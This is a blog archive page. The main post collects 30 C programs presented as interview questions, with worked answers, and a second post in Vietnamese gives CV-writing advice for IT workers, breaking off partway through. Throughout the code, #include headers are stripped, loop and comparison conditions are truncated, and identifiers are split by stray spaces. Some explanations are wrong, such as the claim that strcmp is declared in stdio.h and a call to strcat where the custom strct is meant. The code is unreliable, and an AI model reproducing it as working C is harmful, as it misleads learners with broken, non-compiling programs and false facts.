Monday, 26 August 2013

Top 30 "C" programs asked in interview,,.!!!

Top 30 "C" programs asked in interview,,.!!!
 Programs :

1. Write a program to find factorial of the given number...
2. Write a program to check whether the given number is even or odd.
3. Write a program to swap two numbers using a temporary variable.
4. Write a program to swap two numbers without using a temporary variable.
5. Write a program to swap two numbers using bitwise operators.
6. Write a program to find the greatest of three numbers.
7. Write a program to find the greatest among ten numbers.
8. Write a program to check whether the given number is a prime.
9. Write a program to check whether the given number is a palindrome c number.
10.Write a program to check whether the given string is a palindrome .
11.Write a program to generate the Fibonacci series.
12.Write a program to print"Hello World"without using semicolon anywhere in the code.
13.Write a program to print a semicolon without using a semicolon anywhere in the code.
14.Write a program to compare two strings without using strcmp() function.
15.Write a program to concatenat e two strings without using strcat() function.
16.Write a program to delete a specified line from a text file.
17.Write a program to replace a specified line in a text file.
18.Write a program to find the number of lines in a text file..
19.Write a C program which asks the user for a number between 1 to 9 and shows the number. If the user
inputs a number out of the specified range, the program should show an error and prompt the user for a
valid input.
20.Write a program to display the multiplica tion table of a given number..
21.WAP to check a string is Caliondrom e or not. // Maventic question.
22.WAP to print DONE,witho ut using any loop. // asked to my frnd in any company.
23.WAP to print DONE,witho ut using any loop and any conditonal clause or operators. // asked to me as a cross question of 22th question by the person i asked 22th ques.
24. WAP to find out the longest word in a string.
25.Prog of WORLD MAP. // this code was written by someone,i forgot his name,he won award for this code as short and best c code. JUST FOR FUN //
26.WAP to print the triangle of letters in increasing order of lines..
27.WAP to print'xay'in place of every'a'in a string.// DOC Update on 24-jan-12.
28.Count the Total Number of 7 comming between 1 to 100.
/* I made this code in a way that u can give Upper limit i.e. 100,Lower limit i.e. 1 and the specific number u wants to count in between i.e. 7 */ // asked by: Vishwa Pratap Rana..
29. Code for duplicate' s removal,by Amit Aru.. // Similar question was asked in Maventic 2nd round to me,,
30. WAP to find out if a given number is a power series of 2 or not,withou t any loop and without using % modulo operator.. // asked by someone on BJS..

TO BE CONTINUED. ..!!!

ANSWERS

1. Write a program to find factorial of the given number.
Recursion: A function is called'recursive 'if a statement within the body of a function calls the same function. It
is also called'circular definition '. Recursion is thus a process of defining something in terms of itself.
Program: To calculate the factorial value using recursion.
#include
int fact(int n);
int main(){
int x, i;
printf("En ter a value for x: \n");
scanf("%d" ,&x);
i = fact(x);
printf("\n Factorial of %d is %d", x, i);
return 0;
}int fact(int n){
/* n=0 indicates a terminatin g condition */
if (n
return (1);
}else{
/* function calling itself */
return (n * fact(n - 1));
/*n*fact(n -1) is a recursive expression */
}
}
Output:
Enter a value for x:
4
Factorial of 4 is 24
Explanatio n:
fact(n) = n * fact(n-1)
If n=4
fact(4) = 4 * fact(3) there is a call to fact(3)
fact(3) = 3 * fact(2)
fact(2) = 2 * fact(1)
fact(1) = 1 * fact(0)
fact(0) = 1
fact(1) = 1 * 1 = 1
fact(2) = 2 * 1 = 2
fact(3) = 3 * 2 = 6
Thus fact(4) = 4 * 6 = 24
Terminatin g condition( n
infinite loop.

2. Write a program to check whether the given number is even or odd.
Program:
#include
int main(){
int a;
printf("En ter a: \n");
scanf("%d" ,&a);
/* logic */
if (a % 2 == 0){
printf("Th e given number is EVEN\n");
}
else{
printf("Th e given number is ODD\n");
}
return 0;
}
Output:
Enter a: 2
The given number is EVEN
Explanatio n with examples:
Example 1: If entered number is an even number
Let value of'a'entered is 4
if(a%2==0) then a is an even number, else odd.
i.e. if(4%2==0) then 4 is an even number, else odd.
To check whether 4 is even or odd, we need to calculate (4%2).
/* % (modulus) implies remainder value. */
/* Therefore if the remainder obtained when 4 is divided by 2 is 0, then 4 is even. */
4%2==0 is true
Thus 4 is an even number.
Example 2: If entered number is an odd number.
Let value of'a'entered is 7
if(a%2==0) then a is an even number, else odd.
i.e. if(7%2==0) then 4 is an even number, else odd.
To check whether 7 is even or odd, we need to calculate (7%2).
7%2==0 is false /* 7%2==1 condition fails and else part is executed */
Thus 7 is an odd number.

3. Write a program to swap two numbers using a temporary variable.
Swapping interchang es the values of two given variables.
Logic:
step1: temp=x;
step2: x=y;
step3: y=temp;
Example:
if x=5 and y=8, consider a temporary variable temp.
step1: temp=x=5;
step2: x=y=8;
step3: y=temp=5;
Thus the values of the variables x and y are interchang ed.
Program:
#include
int main(){
int a, b, temp;
printf("En ter the value of a and b: \n");
scanf("%d %d",&a,&b);
printf("Be fore swapping a=%d, b=%d \n", a, b);
/*Swapping logic */
temp = a;
a = b;
b = temp;
printf("Af ter swapping a=%d, b=%d", a, b);
return 0;
}
Output:
Enter the values of a and b: 2 3
Before swapping a=2, b=3
After swapping a=3, b=2
4. Write a program to swap two numbers without using a temporary variable.
Swapping interchang es the values of two given variables.
Logic:
step1: x=x+y;
step2: y=x-y;
step3: x=x-y;
Example:
if x=7 and y=4
step1: x=7+4=11;
step2: y=11-4=7;
step3: x=11-7=4;
Thus the values of the variables x and y are interchang ed.
Program:
#include
int main(){
int a, b;
printf("En ter values of a and b: \n");
scanf("%d %d",&a,&b);
printf("Be fore swapping a=%d, b=%d\n", a,b);
/*Swapping logic */
a = a + b;
b = a - b;
a = a - b;
printf("Af ter swapping a=%d b=%d\n", a, b);
return 0;
}
Output:
Enter values of a and b: 2 3
Before swapping a=2, b=3
The values after swapping are a=3 b=2

5. Write a program to swap two numbers using bitwise operators.
Program:
#include
int main(){
int i = 65;
int k = 120;
printf("\n value of i=%d k=%d before swapping", i, k);
i = i ^ k;
k = i ^ k;
i = i ^ k;
printf("\n value of i=%d k=%d after swapping", i, k);
return 0;
}
Explanatio n:
i = 65; binary equivalent of 65 is 0100 0001
k = 120; binary equivalent of 120 is 0111 1000
i = i^k;
i...0100 0001
k...0111 1000
---------
val of i = 0011 1001
---------
k = i^k
i...0011 1001
k...0111 1000
---------
val of k = 0100 0001 binary equivalent of this is 65
---------( that is the initial value of i)
i = i^k
i...0011 1001
k...0100 0001
---------
val of i = 0111 1000 binary equivalent of this is 120
--------- (that is the initial value of k)

6. Write a program to find the greatest of three numbers.
Program:
#include
int main(){
int a, b, c;
printf("En ter a,b,c: \n");
scanf("%d %d %d",&a,&b,&c);
if (a>b&&a>c){
printf("a is Greater than b and c");
}
else if (b>a&&b>c){
printf("b is Greater than a and c");
}
else if (c>a&&c>b){
printf("c is Greater than a and b");
}
else{
printf("al l are equal or any two values are equal");
}
return 0;
}
Output:
Enter a,b,c: 3 5 8
c is Greater than a and b
Explanatio n with examples:
Consider three numbers a=5,b=4,c= 8
if(a>b&&a>c) then a is greater than b and c
now check this condition for the three numbers 5,4,8 i.e.
if(5>4&&5>8) /* 5>4 is true but 5>8 fails */
so the control shifts to else if condition
else if(b>a&&b>c) then b is greater than a and c
now checking this condition for 5,4,8 i.e.
else if(4>5&&4>8) / * both the conditions fail */
now the control shifts to the next else if condition
else if(c>a&&c>b) then c is greater than a and b
now checking this condition for 5,4,8 i.e.
else if(8>5&&8>4) / * both conditions are satisfied */
Thus c is greater than a and b.

7. Write a program to find the greatest among ten numbers.
Program:
#include
int main(){
int a[10];
int i;
int greatest;
printf("En ter ten values:");
//Store 10 numbers in an array
for (i = 0; i<10; i++){
scanf("%d" ,&a[i]);
}
//Assume that a[0] is greatest
greatest = a[0];
for (i = 0; i<10; i++){
if (a[i]>greatest){
greatest = a[i];
}
}
printf("\n Greatest of ten numbers is %d", greatest);
return 0;
}
Output:
Enter ten values: 2 53 65 3 88 8 14 5 77 64 Greatest of ten numbers is 88
Explanatio n with example:
Entered values are 2, 53, 65, 3, 88, 8, 14, 5, 77, 64
They are stored in an array of size 10. let a[] be an array holding these values.
/* how the greatest among ten numbers is found */
Let us consider a variable'greatest' . At the beginning of the loop, variable'greatest' is assinged with the value of
first element in the array greatest=a [0]. Here variable'greatest' is assigned 2 as a[0]=2.
Below loop is executed until end of the array'a[]';.
for(i=0; i
{
if(a[i]>gr eatest)
{
greatest= a[i];
}
}
For each value of'i', value of a[i] is compared with value of variable'greatest' . If any value greater than the value
of'greatest' is encountere d, it would be replaced by a[i]. After completion of'for'loop, the value of variable
'greatest' holds the greatest number in the array. In this case 88 is the greatest of all the numbers.
8. Write a program to check whether the given number is a prime.
A prime number is a natural number that has only one and itself as factors. Examples: 2, 3, 13 are prime
numbers.
Program:
#include
main(){
int n, i, c = 0;
printf("En ter any number n: \n");
scanf("%d" ,&n);
/*logic*/
for (i = 1; i
if (n % i == 0){
c++;
}
}
if (c == 2){
printf("n is a Prime number");
}
else{
printf("n is not a Prime number");
}
return 0;
}
Output:
Enter any number n: 7
n is Prime
Explanatio n with examples:
consider a number n=5
for(i=0;i
i.e. for(i=0;i
1st iteration: i=1;i
here i is incremente d i.e. i value for next iteration is 2
now if(n%i==0) then c is incremente d
i.e.if(5%1 ==0)then c is incremente d, here 5%1=0 thus c is incremente d.
now c=1;
2nd iteration: i=2;i
here i is incremente d i.e. i value for next iteration is 3
now if(n%i==0) then c is incremente d
i.e.if(5%2 ==0) then c is incremente d, but 5%2!=0 and so c is not incremente d, c remains 1
c=1;
3rd iteration: i=3;i
here i is incremente d i.e. i value for next iteration is 4
now if(n%i==0) then c is incremente d
i.e.if(5%3 ==0) then c ic incremente d, but 5%3!=0 and so c is not incremente d, c remains 1
c=1;
4th iteration: i=4;i
here i is incremente d i.e. i value for next iteration is 5
now if(n%i==0) then c is incremente d
i.e. if(5%4==0) then c is incremente d, but 5%4!=0 and so c is not incremente d, c remains 1
c=1;
5th iteration: i=5;i
here i is incremente d i.e. i value for next iteration is 6
now if(n%i==0) then c is incremente d
i.e. if(5%5==0) then c is incremente d, 5%5=0 and so c is incremente d.
i.e. c=2
6th iteration: i=6;i
here i value is 6 and 6
now if(c==2) then n is a prime number
we have c=2 from the 5th iteration and thus n=5 is a Prime number.

9. Write a program to check whether the given number is a palindromi c number.
If a number, which when read in both forward and backward way is same, then such a number is called a
palindrome number.
Program:
#include
int main(){
int n, n1, rev = 0, rem;
printf("En ter any number: \n");
scanf("%d" ,&n);
n1 = n;
/* logic */
while (n>0){
rem = n % 10;
rev = rev * 10 + rem;
n = n / 10;
}
if (n1 == rev){
printf("Gi ven number is a palindromi c number");
}
else{
printf("Gi ven number is not a palindromi c number");
}
return 0;
}
Output:
Enter any number: 121
Given number is a palindrome
Explanatio n with an example:
Consider a number n=121, reverse=0, remainder;
number=121
now the while loop is executed /* the condition (n>0) is satisfied */
/* calculate remainder */
remainder of 121 divided by 10=(121%10 )=1;
now reverse=(r everse*10) +remainder
=(0*10)+1 / * we have initialized reverse=0 */
=1
number=num ber/10
=121/10
=12
now the number is 12, greater than 0. The above process is repeated for number=12.
remainder= 12%10=2;
reverse=(1 *10)+2=12;
number=12/ 10=1;
now the number is 1, greater than 0. The above process is repeated for number=1.
remainder= 1%10=1;
reverse=(1 2*10)+1=12 1;
number=1/ 10 / * the condition n>0 is not satisfied,co ntrol leaves the while loop */
Program stops here. The given number=121 equals the reverse of the number. Thus the given number is a
palindrome number.

10.Write a program to check whether the given string is a palindrome .
Palindrome is a string, which when read in both forward and backward way is same.
Example: radar, madam, pop, lol, rubber, etc.,
Program:
#include
#include
int main(){
char string1[20 ];
int i, length;
int flag = 0;
printf("En ter a string: \n");
scanf("%s" , string1);
length = strlen(str ing1);
for(i=0;i<length ;i++){
if(string1 [i] != string1[le ngth-i-1]) {
flag = 1;
break;
}
}
if (flag){
printf("%s is not a palindrome \n", string1);
}
else{
printf("%s is a palindrome \n", string1);
}
return 0;
}
Output:
Enter a string: radar
"radar"is a palindrome
Explanatio n with example:
To check if a string is a palindrome or not, a string needs to be compared with the reverse of itself.
Consider a palindrome string:"radar",
---------- ---------- -------
index: 0 1 2 3 4
value: r a d a r
---------- ---------- -------
To compare it with the reverse of itself, the following logic is used:
0th character in the char array, string1 is same as 4th character in the same string.
1st character is same as 3rd character.
2nd character is same as 2nd character.
. . . .
ith character is same as'length-i- 1'th character.
If any one of the above condition fails, flag is set to true(1), which implies that the string is not a palindrome .
By default, the value of flag is false(0). Hence, if all the conditions are satisfied, the string is a palindrome .

11.Write a program to generate the Fibonacci series.
Fibonacci series: Any number in the series is obtained by adding the previous two numbers of the series.
Let f(n) be n'th term.
f(0)=0;
f(1)=1;
f(n)=f(n-1 )+f(n-2); (for n>=2)
Series is as follows
011
(1+0)
2 (1+1)
3 (1+2)
5 (2+3)
8 (3+5)
13 (5+8)
21 (8+13)
34 (13+21)
...and so on
Program: to generate Fibonacci Series(10 terms)
#include
int main(){
//array fib stores numbers of fibonacci series
int i, fib[25];
// initialized first element to 0
fib[0] = 0;
// initialized second element to 1
fib[1] = 1;
//loop to generate ten elements
for (i = 2; i<10; i++){
//i'th element of series is equal to the sum of i-1'th element and i-2'th element.
fib[i] = fib[i - 1] + fib[i - 2];
}
printf("Th e fibonacci series is as follows \n");
//print all numbers in the series
for (i = 0; i<10; i++){
printf("%d \n", fib[i]);
}
return 0;
}
Output:
The fibonacci series is as follows
01123581
3
21
34
Explanatio n:
The first two elements are initialize d to 0, 1 respective ly. Other elements in the series are generated by looping
and adding previous two numbes. These numbers are stored in an array and ten elements of the series are
printed as output.

12.Write a program to print"Hello World"without using semicolon anywhere in the code.
Generally when we use printf("") statement, we have to use a semicolon at the end. If printf is used inside an if
Condition, semicolon can be avoided.
Program: Program to print something without using semicolon (;)
#include
int main(){
//printf returns the length of string being printed
if (printf("H ello World\n")) //prints Hello World and returns 11
{
//do nothing
}
return 0;
}
Output:
Hello World
Explanatio n:
The if statement checks for condition whether the return value of printf("He llo World") is greater than 0. printf
function returns the length of the string printed. Hence the statement if (printf("H ello World")) prints the string
"Hello World".

13.Write a program to print a semicolon without using a semicolon anywhere in the code.
Generally when use printf("") statement we have to use semicolon at the end.
If we want to print a semicolon, we use the statement: printf(";" );
In above statement, we are using two semicolons . The task of printing a semicolon without using semicolon anywhere in the code can be accomplish ed by using the ascii value of';'which is equal to 59.
Program: Program to print a semicolon without using semicolon in the code.
#include
int main(void) {
//prints the character with ascii value 59, i.e., semicolon
if (printf("% c\n", 59)){
//prints semicolon
}
return 0;
}
Output:
;
Explanatio n:
If statement checks whether return value of printf function is greater than zero or not. The return value of function
call printf("%c ",59) is 1. As printf returns the length of the string printed. printf("%c ",59) prints ascii value that
correspond s to 59, that is semicolon( .

14.Write a program to compare two strings without using strcmp() function.
strcmp() function compares two strings lexicograp hically. strcmp is declared in stdio.h
Case 1: when the strings are equal, it returns zero.
Case 2: when the strings are unequal, it returns the difference between ascii values of the characters that differ.
a) When string1 is greater than string2, it returns positive value.
b) When string1 is lesser than string2, it returns negative value.
Syntax:
int strcmp (const char *s1, const char *s2);
Program: to compare two strings.
#include
#include
int cmpstr(cha r s1[10], char s2[10]);
int main(){
char arr1[10] ="Nodalo";
char arr2[10] ="nodalo";
printf("%d", cmpstr(arr 1, arr2));
// cmpstr() is equivalent of strcmp()
return 0;
}/
/s1, s2 are strings to be compared
int cmpstr(cha r s1[10], char s2[10]){
//strlen function returns the length of argument string passed
int i = strlen(s1) ;
int k = strlen(s2) ;
int bigger;
if (i<k){
bigger = k;
}
else if (i>k){
bigger = i;
}
else{
bigger = i;
}
//loops'bigger'times
for (i = 0; i<bigger; i++){
// if ascii values of characters s1[i], s2[i] are equal do nothing
if (s1[i] == s2[i]){
}
//else return the ascii difference
else{
return (s1[i] - s2[i]);
}
}
//return 0 when both strings are same
//This statement is executed only when both strings are equal
return (0);
}
Output:
-32
Explanatio n:
cmpstr() is a function that illustrate s C standard function strcmp(). Strings to be compared are sent as arguments
to cmpstr().
Each character in string1 is compared to its correspond ing character in string2. Once the loop encounters a
differing character in the strings, it would return the ascii difference of the differing characters and exit.

15.Write a program to concatenat e two strings without using strcat() function.
strcat(str ing1,strin g2) is a C standard function declared in the header file string.h
The strcat() function concatenat es string2, string1 and returns string1.
Program: Program to concatenat e two strings
#include
#include
char *strct(cha r *c1, char *c2);
char *strct(cha r *c1, char *c2){
//strlen function returns length of argument string
int i = strlen(c1) ;
int k = 0;
// loops until null is encountered and appends string c2 to c1
while (c2[k] !='\0'){
c1[i + k] = c2[k];
k++;
}
return c1;
}
int main(){
char string1[15 ] ="first";
char string2[15 ] ="second";
char *finalstr;
printf("Be fore concatenat ion:"
"\n string1 = %s \n string2 = %s", string1, string2);
// addresses of string1, string2 are passed to strct()
finalstr = strcat(str ing1, string2);
printf("\n After concatenat ion:");
//prints the contents of string whose address is in finalstr
printf("\n finalstr = %s", finalstr);
//prints the contents of string1
printf("\n string1 = %s", string1);
//prints the contents of string2
printf("\n string2 = %s", string2);
return 0;
}
Output:
Before concatenat ion:
string1 = first
string2 = second
After concatenat ion:
finalstr = firstsecon d
string1 = firstsecon d
string2 = second
Explanatio n:
string2 is appended at the end of string1 and contents of string2 are unchanged.
In strct() function, using a for loop, all the characters of string'c2'are copied at the end of c1. return (c1) is
equivalent to return&c1[0] and it returns the base address of'c1'.'finalstr' stores that address returned by the
function strct().

16.Write a program to delete a specified line from a text file.
In this program, user is asked for a filename he needs to change. User is also asked for the line number that is
to be deleted. The filename is stored in'filename' . The file is opened and all the data is transferre d to another file
except that one line the user specifies to delete.
Program: Program to delete a specific line.
#include
int main(){
FILE *fp1, *fp2;
// consider 40 character string to store filename
char filename[4 0];
char c;
int del_line, temp = 1;
//asks user for file name
printf("En ter file name:");
// receives file name from user and stores in'filename'
scanf("%s" , filename);
//open file in read mode
fp1 = fopen(file name,"r");
c = getc(fp1);
//until the last character of file is obtained
while (c != EOF)
{
printf("%c ", c);
//print current character and read next character
c = getc(fp1);
}
//rewind
rewind(fp1 );
printf("\n Enter line number of the line to be deleted:") ;
//accept number from user.
scanf("%d" ,&del_line) ;
//open new file in write mode
fp2 = fopen("cop y.c","w");
c = getc(fp1);
while (c != EOF){
c = getc(fp1);
if (c =='\n')
temp++;
//except the line to be deleted
if (temp != del_line)
{
//copy all lines in file copy.c
putc(c, fp2);
}
}
//close both the files.
fclose(fp1 );
fclose(fp2 );
//remove original file
remove(fil ename);
//rename the file copy.c to original name
rename("co py.c", filename);
printf("\n The contents of file after being modified are as follows:\n ");
fp1 = fopen(file name,"r");
c = getc(fp1);
while (c != EOF){
printf("%c ", c);
c = getc(fp1);
}
fclose(fp1 );
return 0;
}
Output:
Enter file name:abc.t xt
hi.
Hello
how are you?
I am fine
hope the same
Enter line number of the line to be deleted:4
The contents of file after being modified are as follows:
hi.
hello
how are you?
hope the same
Explanatio n:
In this program, user is asked for a filename that needs to be modified. Entered file name is stored in a char
array'filename' . This file is opened in read mode using file pointer'fp1'. Character'c'is used to read characters
from the file and print them to the output. User is asked for the line number in the file to be deleted. The file
pointer is rewinded back and all the lines of the file except for the line to be deleted are copied into another file
"copy.c". Now"copy.c"is renamed to the original filename. The original file is opened in read mode and the
modified contents of the file are displayed on the screen.

17.Write a program to replace a specified line in a text file.
Program: Program to replace a specified line in a text file.
#include
int main(void) {
FILE *fp1, *fp2;
// 'filename'i s a 40 character string to store filename
char filename[4 0];
char c;
int del_line, temp = 1;
//asks user for file name
printf("En ter file name:");
// receives file name from user and stores in'filename'
scanf("%s" , filename);
fp1 = fopen(file name,"r");
//open file in read mode
c = getc(fp1);
//print the contents of file .
while (c != EOF){
printf("%c ", c);
c = getc(fp1);
}
//ask user for line number to be deleted.
printf("\n Enter line number to be deleted and replaced") ;
scanf("%d" ,&del_line) ;
//take fp1 to start point.
rewind(fp1 );
//open copy.c in write mode
fp2 = fopen("cop y.c","w");
c = getc(fp1);
while (c != EOF){
if (c =='\n'){
temp++;
}
// till the line to be deleted comes,copy the content from one file to other
if (temp != del_line){
putc(c, fp2);
}
else //when the line to be deleted comes
{
while ((c = getc(fp1)) !='\n'){
}
//read and skip the line ask for new text
printf("En ter new text");
//flush the input stream
fflush(std in);
putc('\n', fp2);
//put'\n'in new file
while ((c = getchar()) !='\n')
putc(c, fp2);
//take the data from user and place it in new file
fputs("\n" , fp2);
temp++;
}
// continue this till EOF is encountere d
c = getc(fp1);
}
//close both files
fclose(fp1 );
fclose(fp2 );
//remove original file
remove(fil ename);
//rename new file with old name opens the file in read mode
rename("co py.c", filename);
fp1 = fopen(file name,"r");
//reads the character from file
c = getc(fp1);
// until last character of file is encountered
while (c != EOF){
printf("%c ", c);
// all characters are printed
c = getc(fp1);
}
//close the file pointer
fclose(fp1 );
return 0;
}
Output:
Enter file name:abc.t xt
hi.
hello
how are you?
hope the same
Enter line number of the line to be deleted and replaced:4
Enter new text: sayonara see you soon
hi.
hello
how are you?
sayonara see you soon
Explanatio n:
In this program, the user is asked to type the name of the file. The File by name entered by user is opened in
read mode. The line number of the line to be replaced is asked as input. Next the data to be replaced is asked. A
new file is opened in write mode named"copy.c". Now the contents of original file are transferre d into new file
and the line to be modified is deleted. New data is stored in its place and remaining lines of the original file are
also transferre d. The copied file with modified contents is replaced with the original file's name. Both the file
pointers are closed and the original file is again opened in read mode and the contents of the original file is
printed as output.

18.Write a program to find the number of lines in a text file.
Number of lines in a file can be determined by counting the number of new line characters present.
Program: Program to count number of lines in a file.
#include
int main()
/* Ask for a filename and count number of lines in the file*/
{
//a pointer to a FILE structure
FILE *fp;
int no_lines = 0;
// consider 40 character string to store filename
char filename[4 0], sample_chr ;
//asks user for file name
printf("En ter file name:");
// receives file name from user and stores in a string named'filename'
scanf("%s" , filename);
//open file in read mode
fp = fopen(file name,"r");
//get character from file and store in sample_chr
sample_chr = getc(fp);
while (sample_ch r != EOF){
// Count whenever sample_chr is'\n'(new line) is encountere d
if (sample_ch r =='\n')
{
// increment variable'no_lines' by 1
no_lines=n o_lines+1;
}
//take next character from file.
sample_chr = getc(fp);
}
fclose(fp) ; //close file.
printf("Th ere are %d lines in %s \n", no_lines, filename);
return 0;
}
Output:
Enter file name:abc.t xt
There are 4 lines in abc.txt
Explanatio n:
In this program, name of the file to be read is taken as input. A file by the given name is opened in read-mode
using a File pointer'fp'. Characters from the file are read into a char variable'sample_ch r'with the help of getc
function. If a new line character( '\n') is encountere d, the integer variable'no_lines' is incremente d. If the
character read into'sample_ch ar'is not a new line character, next character is read from the file. This process is
continued until the last character of the file(EOF) is encountere d. The file pointer is then closed and the total
number of lines is shown as output.

19.Write a C program which asks the user for a number between 1 to 9 and shows the number. If the
user inputs a number out of the specified range, the program should show an error and prompt
the user for a valid input.
Program: Program for accepting a number in a given range.
#include
int getnumber( );
int main(){
int input = 0;
//call a function to input number from key board
input = getnumber( );
//when input is not in the range of 1 to 9,print error message
while (!((input = 1))){
printf("[E RROR] The number you entered is out of range");
//input another number
input = getnumber( );
}
//this function is repeated until a valid input is given by user.
printf("\n The number you entered is %d", input);
return 0;
}/
/this function returns the number given by user
int getnumber( ){
int number;
//asks user for a input in given range
printf("\n Enter a number between 1 to 9 \n");
scanf("%d" ,&number);
return (number);
}
Output:
Enter a number between 1 to 9
45
[ERROR] The number you entered is out of range
Enter a number between 1 to 9
4
The number you entered is 4
Explanatio n:
getfunctio n() function accepts input from user.'while'loop checks whether the number falls within range or not
and accordingl y either prints the number(If the number falls in desired range) or shows error message(nu mber is
out of range).
20.Write a program to display the multiplica tion table of a given number.
Program: Multiplica tion table of a given number
#include
int main(){
int num, i = 1;
printf("\n Enter any Number:");
scanf("%d" ,&num);
printf("Mu ltiplicati on table of %d: \n", num);
while (i
printf("\n %d x %d = %d", num, i, num * i);
i++;
}
return 0;
}
Output:
Enter any Number:5
5 x 1 = 5
5 x 2 = 10
5 x 3 = 15
5 x 4 = 20
5 x 5 = 25
5 x 6 = 30
5 x 7 = 35
5 x 8 = 40
5 x 9 = 45
5 x 10 = 50
Explanatio n:
We need to multiply the given number (i.e. the number for which we want the multiplica tion table)
with value of'i'which increments from 1 to 10.

21. .WAP to check a string is Caliondrom e or not. // Maventic question.
#include
#include
void main()
{
int i,j=0; char a[100];
clrscr();
printf("\n Enter the string to check for caliondrom e:\n");
gets(a);

if(strlen( a)%6)
{
printf("\n %s: is Not a caliondrom e..",a);
getch();
exit(0);
}
for (i=0;a[i]! ='\0'
{
if((a[i]== a[i+5])&&( a[i+1]==a[ i+4])&&(a[ i+2]==a[i+ 3]))
i=i+6;

else
{
j=1;
break;
}
}
if(j)
printf("\n %s: is Not a caliondrom e..",a);
else
printf("\n %s: is a caliondrom e..",a);
getch();
}

22.WAP to print DONE,witho ut using any loop. // asked to my frnd in any company.
#include
void main()
{
static int i=0;
printf("\n %d. DONE",i);
if(i++
main();
getch();
exit(0); / * I used exit(0) to terminate the program after 100 DONE,,i dunno why it was not terminating without using it,may be just at my system,try without it at ur sustem,it sud work */
}

23.WAP to print DONE,witho ut using any loop and any conditonal clause or operators.

/* This code is just in purpose to solve the above question,, but its not a good code in programmin g,as its terminatin g at divide error,,if anyone have a better code,let me know */

main()
{
static int i=100;
printf("%d . DONE\n",10 1-i);
main(1/ --i);
}

/* use"ctrl+f9",then"alt+f5"to see the result */

24. WAP to find out the longest word in a string.
#include
#include
#include
void main()
{
int i,max=0,co unt=0,j;
char str[100]; / * ={"INDIA IS DEMOCRATIC COUNTRY"}; u can use a string inside,in place of user input */

printf("\n Enter the string\n:" );
gets(str);

for(i=0;i
{
if(!(str[i ]==32))
{
count++;
}
else
{

if(max
{
j=i-count;
max=count;
}
count=0;
}
}
for(i=j;i
printf("%c ",str[i]);
getch();
}

25.Prog of WORLD MAP.
#include main(l ,a,n,d)cha r**a;{for(d=atoi (a[1])/ 10*80- atoi(a[2]) / 5-596;n="@N KA\CLCCGZA AQBEAADAFa ISADJABBA^ \SNLGAQABD AXIMBAACTB ATAHDBAN\Z cEMMCCCCAA hEIJFAEAAA BAfHJE\TBd FLDAANEfDN BPHdBcBBBE A_AL\ H E L L O, W O R L D!"[l++-3];)f or(;n-->64 putchar(!d +++33^ l&1);print f("\n\n\n\ n\t\tFound By:\n\t\t\ t Amit Aru");getc h();}

26.WAP to print the triangle of letters in increasing order of lines.

#include
#include
void main()
{
int i,j,k;
char ch;
printf("\n Enter the number of lines wants to make the triangle \n:");
scanf("%d" ,&i);
for(j=1;j
{
ch=65;
for(k=1;k
{
printf("%c ",ch++);
}
printf("\n ");
}
getch();
}

27.WAP to print'xay'in place of every'a'in a string.

#include
#include
void main()
{
int i=0;
char str[100],x ='x',y='y' ;
printf("En ter the string\n:");
gets(str);
while(str[ i]!='\0')
{
if(str[i]= ='a')
{
printf("%c ",x);
printf("%c ",str[i++] );
printf("%c ",y);
}
else
{
printf("%c ",str[i++] );
}
}
getch();
}

28.Count the Total Number of 7 comming between 1 to 100.

/* I made this code in a way that u can give Upper limit i.e. 100,Lower limit i.e. 1 and the specific number u wants to count in between i.e. 7 */

#include
#include
void main()
{
int i,j,U=100, L=1,count= 0,r=1,n;
clrscr();
printf("\n Enter the number u wants to count\n:");
scanf("%d" ,&n);
printf("\n Enter the lower limit\n:");
scanf("%d" ,&L);
printf("\n Enter the upper limit\n:");
scanf("%d" ,&U);

for (i=L;i
{
j=i;
while(j)
{
r=j%10;
if (r==n)
{
count++;
}
j=j/10;
}
}
if(n==0&&L ==0)
count++;
printf("\n Total Number of %d between %d and %d = %d",n,L,U, count);
getch();
}

29. Code for duplicate' s removal,by Amit Aru.
#include
#include
void main()
{
int i,j,k=0,co unt[300]={ 0};
char ch,str[100 0],str1[10 00];
clrscr();
printf("\n Enter the string to remove duplicasy\ n:");
gets(str);
for (i=0;str[i ]!='\0';i+ +)
{
ch=str[i];
count['']=0; / * U can use other delimiter inplace of space''here,just put that char inside'',for ex: count['A']=0 ; if u dnt want any delimiter, just remove this line.*/

if(count[c h])
continue;
else
{
str1[k++]= ch;
count[ch]= 1;
}
}
puts(str1) ;
getch();
}

30. WAP to find out if a given number is a power series of 2 or not,withou t any loop and without using % modulo operator.

#include
#include
int pow2(float );
void main()
{
int i,flag;
clrscr();
printf("En ter the number\n") ;
scanf("%d" ,&i);
flag=pow2( i);
if(flag)
printf("\n %d is power series of 2",i);
else
printf("\n %d is not a power series of 2",i);
getch();
}

int pow2(float j)
{
static float x;
x=j/2;
if(x==2)
return 1;
if(x
return 0;
x=pow2(x);
}

Thursday, 18 April 2013

Dân IT nên viết CV như thế nào?

Dân IT nên viết CV như thế nào?


"Theo chia sẻ của anh Đại Trần, VP of Delivery - KMS Technology"

Một CV rõ ràng, khúc chiết, chuyên nghiệp nhưng thể hiện được cá tính, nêu bật được những thế mạnh của bạn trong lúc vẫn cung cấp đầy đủ thông tin về những kinh nghiệm trong quá khứ sẽ khiến bạn nổi bật trong số những ứng viên và giúp nhà tuyển dụng hiểu rõ về bạn để có thể quyết định nên hay không nên sắp xếp phỏng vấn. Nếu bạn không thể viết một cái CV ra hồn để mô tả bản thân, thì rõ ràng bạn có một khiếm khuyết rất lớn, có thể đó là khả năng diễn đạt, hay hiểu biết về chính mình và ngành mình đang làm việc, hoặc không nghiêm túc trong việc xin việc hoặc đơn giản là bạn không thể làm gì ra hồn cả. Dù khiếm khuyết của bạn là gì, nhà tuyển dụng có thể sẽ gạt bạn ra một bên, hoặc may mắn lắm là họ sẽ hướng dẫn bạn làm lại CV, và lần này sẽ là cơ hội cuối cùng cho bạn.

Theo kinh nghiệm của tôi, một CV cho ngành IT nên có 6 mục sau:
1. Thông tin cá nhân:
Chỉ cần liệt kê đơn giản Tên, Năm sinh, Địa chỉ nơi ở, số điện thoại, email, có thể thêm hình thẻ. Các thông tin về giới tính, tình trạng hôn nhân, quê quán ... thực sự không cần thiết và mang tính phân biệt nên không nên đưa vào.
2. Mục tiêu nghề nghiệp (Objectives):
